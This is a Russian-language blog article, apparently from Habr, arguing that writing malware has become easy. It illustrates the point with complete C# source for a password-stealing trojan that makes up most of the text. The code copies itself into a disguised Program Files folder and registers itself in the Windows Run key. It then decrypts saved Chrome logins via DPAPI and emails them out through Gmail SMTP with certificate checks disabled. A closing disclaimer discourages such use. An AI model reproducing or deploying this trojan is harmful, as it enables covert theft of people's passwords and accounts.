В наши дни порог вхождения в мир программирования существенно упал — если раньше, на заре цифровой эпохи, программирование было чем-то из ряда вон выдающимся, «уделом избранных», то сегодня написать кейлоггер или червя может каждый школьник, хоть немного умеющий гуглить и уверенно обращающийся с компьютером. Не обладая какими-либо специальными навыками, можно создать софт, способный причинить немало неприятностей пользователям ПК, которые по тем или иным причинам пренебрегают антивирусными программами.
Под катом — пример написания подобного вредоносного ПО и немного мыслей о том — почему это стало настолько доступным.
Итак, для начала формализуем — что в контексте данной статьи рассматривается под понятиями «вируса» и «червя». Формально, понятие «вирус» было впервые введено в 1984 году Фредом Коэном и оно звучало так:
We define a computer ‘virus’ as a program that can ‘infect’ other programs by modifying them to include a possibly evolved copy of itself
Позднее он исправил свое же определение, сконцентрировавшись на способности к саморазмножению — т.е. к рекурсивному копированию кода программы. Таким образом, в более фундаментальном смысле вирус был определен как код, исполнение которого приведет к записи копии этого кода на ленту машины Тьюринга впереди по ходу исполнения, т.е. в будущем.
Данное определение не совсем корректно по отношению к большинству современных вирусов, потому что реальные вирусы не обязательно должны копироваться рекурсивно, да и по большому счету — даже копироваться, но данная модель считается классической и ее уместно применить для написания «сферического вируса в вакууме».
Кроме того, в 1992 году в своей статье Коэн ввел формальное определение компьютерного червя. С полным формальным определением можно ознакомиться в первоисточнике, тут лишь приведу краткую цитату:
Recently, the term «worm» has been widely used to describe programs that automatically replicate and initialize interpretation of their replicas.1 By contrast, the definition of viruses covers all self-replicating programs but does not address the manner in which replicas may be actuated.
Т.е. причиной выполнения червя может быть не червь-родитель, а по любому триггеру, например, загрузке компьютера или по таймеру.
На самом деле классификация вирусов гораздо шире, и каждый вирус попадает сразу под несколько категорий, даже просто «троянов» есть больше десятка видов. Речь не об этом.
Реализуем еще один вирус в эту плеяду. Скажу сразу — на реальном железе, защищенном даже простеньким антивирусом он работать не будет, но наглядно демонстрирует принципы, лежащие в основе большинства вирусных программ.
Полный код под спойлером (осторожно, его много):
using System; using System.Text; using System.IO; using System.Data.SQLite; using System.Data; using System.Runtime.InteropServices; using System.ComponentModel; using System.Net.Mail; using System.Net; using Microsoft.Win32; using System.Threading; public class DPAPI { [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] private static extern bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText); [DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] private static extern bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct DATA_BLOB { public int cbData; public IntPtr pbData; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct CRYPTPROTECT_PROMPTSTRUCT { public int cbSize; public int dwPromptFlags; public IntPtr hwndApp; public string szPrompt; } static private IntPtr NullPtr = ((IntPtr)((int)(0))); private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1; private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4; private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps) { ps.cbSize = Marshal.SizeOf( typeof(CRYPTPROTECT_PROMPTSTRUCT)); ps.dwPromptFlags = 0; ps.hwndApp = NullPtr; ps.szPrompt = null; } private static void InitBLOB(byte[] data, ref DATA_BLOB blob) { // Use empty array for null parameter. if (data == null) data = new byte[0]; // Allocate memory for the BLOB data. blob.pbData = Marshal.AllocHGlobal(data.Length); // Make sure that memory allocation was successful. if (blob.pbData == IntPtr.Zero) throw new Exception( "Unable to allocate data buffer for BLOB structure."); // Specify number of bytes in the BLOB. blob.cbData = data.Length; // Copy data from original source to the BLOB structure. Marshal.Copy(data, 0, blob.pbData, data.Length); } public enum KeyType { UserKey = 1, MachineKey }; private static KeyType defaultKeyType = KeyType.UserKey; public static string Encrypt(string plainText) { return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty); } public static string Encrypt(KeyType keyType, string plainText) { return Encrypt(keyType, plainText, String.Empty, String.Empty); } public static string Encrypt(KeyType keyType, string plainText, string entropy) { return Encrypt(keyType, plainText, entropy, String.Empty); } public static string Encrypt(KeyType keyType, string plainText, string entropy, string description) { // Make sure that parameters are valid. if (plainText == null) plainText = String.Empty; if (entropy == null) entropy = String.Empty; // Call encryption routine and convert returned bytes into // a base64-encoded value. return Convert.ToBase64String( Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)); } public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description) { // Make sure that parameters are valid. if (plainTextBytes == null) plainTextBytes = new byte[0]; if (entropyBytes == null) entropyBytes = new byte[0]; if (description == null) description = String.Empty; // Create BLOBs to hold data. DATA_BLOB plainTextBlob = new DATA_BLOB(); DATA_BLOB cipherTextBlob = new DATA_BLOB(); DATA_BLOB entropyBlob = new DATA_BLOB(); // We only need prompt structure because it is a required // parameter. CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT(); InitPrompt(ref prompt); try { // Convert plaintext bytes into a BLOB structure. try { InitBLOB(plainTextBytes, ref plainTextBlob); } catch (Exception ex) { throw new Exception( "Cannot initialize plaintext BLOB.", ex); } // Convert entropy bytes into a BLOB structure. try { InitBLOB(entropyBytes, ref entropyBlob); } catch (Exception ex) { throw new Exception( "Cannot initialize entropy BLOB.", ex); } // Disable any types of UI. int flags = CRYPTPROTECT_UI_FORBIDDEN; // When using machine-specific key, set up machine flag. if (keyType == KeyType.MachineKey) flags |= CRYPTPROTECT_LOCAL_MACHINE; // Call DPAPI to encrypt data. bool success = CryptProtectData(ref plainTextBlob, description, ref entropyBlob, IntPtr.Zero, ref prompt, flags, ref cipherTextBlob); // Check the result. if (!success) { // If operation failed, retrieve last Win32 error. int errCode = Marshal.GetLastWin32Error(); // Win32Exception will contain error message corresponding // to the Windows error code. throw new Exception( "CryptProtectData failed.", new Win32Exception(errCode)); } // Allocate memory to hold ciphertext. byte[] cipherTextBytes = new byte[cipherTextBlob.cbData]; // Copy ciphertext from the BLOB to a byte array. Marshal.Copy(cipherTextBlob.pbData, cipherTextBytes, 0, cipherTextBlob.cbData); // Return the result. return cipherTextBytes; } catch (Exception ex) { throw new Exception("DPAPI was unable to encrypt data.", ex); } // Free all memory allocated for BLOBs. finally { if (plainTextBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(plainTextBlob.pbData); if (cipherTextBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(cipherTextBlob.pbData); if (entropyBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(entropyBlob.pbData); } } public static string Decrypt(string cipherText) { string description; return Decrypt(cipherText, String.Empty, out description); } public static string Decrypt(string cipherText, out string description) { return Decrypt(cipherText, String.Empty, out description); } public static string Decrypt(string cipherText, string entropy, out string description) { // Make sure that parameters are valid. if (entropy == null) entropy = String.Empty; return Encoding.UTF8.GetString( Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description)); } public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description) { // Create BLOBs to hold data. DATA_BLOB plainTextBlob = new DATA_BLOB(); DATA_BLOB cipherTextBlob = new DATA_BLOB(); DATA_BLOB entropyBlob = new DATA_BLOB(); // We only need prompt structure because it is a required // parameter. CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT(); InitPrompt(ref prompt); // Initialize description string. description = String.Empty; try { // Convert ciphertext bytes into a BLOB structure. try { InitBLOB(cipherTextBytes, ref cipherTextBlob); } catch (Exception ex) { throw new Exception( "Cannot initialize ciphertext BLOB.", ex); } // Convert entropy bytes into a BLOB structure. try { InitBLOB(entropyBytes, ref entropyBlob); } catch (Exception ex) { throw new Exception( "Cannot initialize entropy BLOB.", ex); } // Disable any types of UI. CryptUnprotectData does not // mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of // supported flags so we will not set it up. int flags = CRYPTPROTECT_UI_FORBIDDEN; // Call DPAPI to decrypt data. bool success = CryptUnprotectData(ref cipherTextBlob, ref description, ref entropyBlob, IntPtr.Zero, ref prompt, flags, ref plainTextBlob); // Check the result. if (!success) { // If operation failed, retrieve last Win32 error. int errCode = Marshal.GetLastWin32Error(); // Win32Exception will contain error message corresponding // to the Windows error code. throw new Exception( "CryptUnprotectData failed.", new Win32Exception(errCode)); } // Allocate memory to hold plaintext. byte[] plainTextBytes = new byte[plainTextBlob.cbData]; // Copy ciphertext from the BLOB to a byte array. Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0, plainTextBlob.cbData); // Return the result. return plainTextBytes; } catch (Exception ex) { throw new Exception("DPAPI was unable to decrypt data.", ex); } // Free all memory allocated for BLOBs. finally { if (plainTextBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(plainTextBlob.pbData); if (cipherTextBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(cipherTextBlob.pbData); if (entropyBlob.pbData != IntPtr.Zero) Marshal.FreeHGlobal(entropyBlob.pbData); } } } public class Chrome { static string filename = "passwords.html"; static string db_way = "Login Data"; //путь к файлу базы данных static string wayToDir = @"Screens\"; static string wayToScreen; static string finalDir = @"C:\Program Files (x86)\Windows\ScreenSaver\"; static void Main(string[] args) { Registr(); Thread.Sleep(5 * 60 * 1000); Generate(); Send(); } static void Registr() { string way = Environment.GetCommandLineArgs()[0]; try { if (!Directory.Exists(finalDir)) { Directory.CreateDirectory(finalDir); foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory)) { // Console.WriteLine(iter); string nameOfFile = iter.Split('\\')[iter.Split('\\').Length - 1]; //Console.WriteLine(nameOfFile); File.Copy(iter, finalDir + nameOfFile, true); } Directory.CreateDirectory(finalDir + "x64"); Directory.CreateDirectory(finalDir + "x86"); File.Copy(Environment.CurrentDirectory + "\\x64\\SQLite.Interop.dll", finalDir + "\\x64\\SQLite.Interop.dll"); File.Copy(Environment.CurrentDirectory + "\\x86\\SQLite.Interop.dll", finalDir + "\\x86\\SQLite.Interop.dll"); const string name = "SoftWare"; string ExePath = finalDir + "soft.exe"; File.Copy(way, ExePath, true); RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { reg.SetValue(name, ExePath); reg.Close(); } catch { } } } catch { } } static void Generate() { try { string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data"; File.Copy(way_to_original, "Login Data", true); StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8); string db_field = "logins"; //имя поля БД byte[] entropy = null; //разработчики не стали использовать энтропию. //Однако класс DPAPI требует указания энтропии в любом случае, //независимо от того - присутствует она, или нет. string description; //к сожалению я не понял смысла данной переменной, но она так же обязательная. // Подключаемся к базе данных string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True"; DataTable DB = new DataTable(); string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", ""); using (SQLiteConnection connect = new SQLiteConnection(ConnectionString)) { SQLiteCommand command = new SQLiteCommand(sql, connect); SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); adapter.Fill(DB); int rows = DB.Rows.Count; for (int i = 0; i < rows; i++) { Writer.Write(i + 1 + ") "); // Здесь мы записываем порядковый номер нашей троицы "Сайт-логин-пароль". Writer.WriteLine(DB.Rows[i][1] + "<br>"); //Это ссылка на сайт Writer.WriteLine(DB.Rows[i][3] + "<br>"); //Это логин // Здесь начинается расшифровка пароля byte[] byteArray = (byte[])DB.Rows[i][5]; byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); string password = new UTF8Encoding(true).GetString(decrypted); Writer.WriteLine(password + "<br><br>"); } } Writer.Close(); } catch { } } static void Send() { MailAddress from = new MailAddress("l**************d@gmail.com", "Passwords"); MailAddress to = new MailAddress("a***********v@yandex.ru"); MailMessage m = new MailMessage(from, to); m.Subject = (DateTime.Now).ToString(); m.Body = ""; m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587); ; smtp.Credentials = new NetworkCredential("l*****************d@gmail.com", "q********l"); smtp.EnableSsl = true; ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; m.Attachments.Add(new Attachment(filename)); try { smtp.Send(m); } catch { } } }
Большая часть кода, отвечающего за расшифровку пароля взята из соответствующей статьи о хранении паролей в Хроме, которая, собственно, легко гуглиться и находиться в общем доступе.
Все, что бы осталось, что бы превратить этот программный продукт в трояна — добавить возможность «заразить» им компьютер без ведома пользователя, добавить некоторе условие срабатывания, ну и научить отправлять украденную информацию на некоторый удаленный сервер.
Соответственно, в main неплохо прослеживается каждый из этапов. В функции Registr программа копирует себя в служебную папку и прописывает себя в автозапуск при загрузке операционной системы, в блоке Generate — генерирует файлик с паролями и логинами, тут все немного запутано, но бОльшая часть кода использованного здесь — скопировано из открытых источников. Код прокомментирован по месту, тут повторяться не вижу смысла. Ну и наконец функция Send отправляет файл с паролями на указанную почту. Код тоже не требует глубоких познаний сокетов и стека TCP/IP — в .NET все довольно приятно обернуто в высокоуровневый класс для работы с почтой. При необходимости можно передавать данные любом из протоколов, включая POST-запросы и FTP сервера, но что бы не приходилось поднимать сервер — можно воспользоваться почтой.
В итоге, за полчаса работы с кодом мы получили полноценного трояна, который, безусловно, ловится антивирусами, но если не брать это во внимание — работает совершенно корректно. А в свое время написание подобной программы занимало многие сотни строк кода. Сейчас же это заняло пару десятков минут.
Хорошо это или плохо? Вопрос очень открыты, потому что с одной стороны снижение уровня входа в профессию повышает приток кадров, в последнее время написаь работающую программу стало порядком проще, соответственно — программ стало больше, а в условиях рыночной экономики это безусловно хорошо, ведь конкуренция повышает качество. С другой стороны, низкий порог входа означает большое количество низко- и среднеквалифицированных кадров, из-за которых качество программных продуктов остается ниже желаемого даже с учетом всех средств, облегчающих работу разработчика — современные высокоуровневые языки программирования, интегрированные среды разработки, дебаггеры и т.д.
Ну и безусловно — раз стало больше программных продуктов, больше стало и вирусов. Конечно, аккуратный и внимательный пользователь как правило умеет их избегать — не переходит по ссылкам из писем и не вставляет непроверенные флешки. Но факт остается фактом — сейчас, когда базовый вирус умеет написать каждый старшеклассник — антивирусы стали востребованнее, чем пару десятков лет назад.
Автор ни коим образом не рекомендует создавать вредоносное программное обеспечение и напоминает, что незаконное получение доступа к приватной информации преследуется по закону.
ссылка на оригинал статьи https://habr.com/ru/post/493942/
Добавить комментарий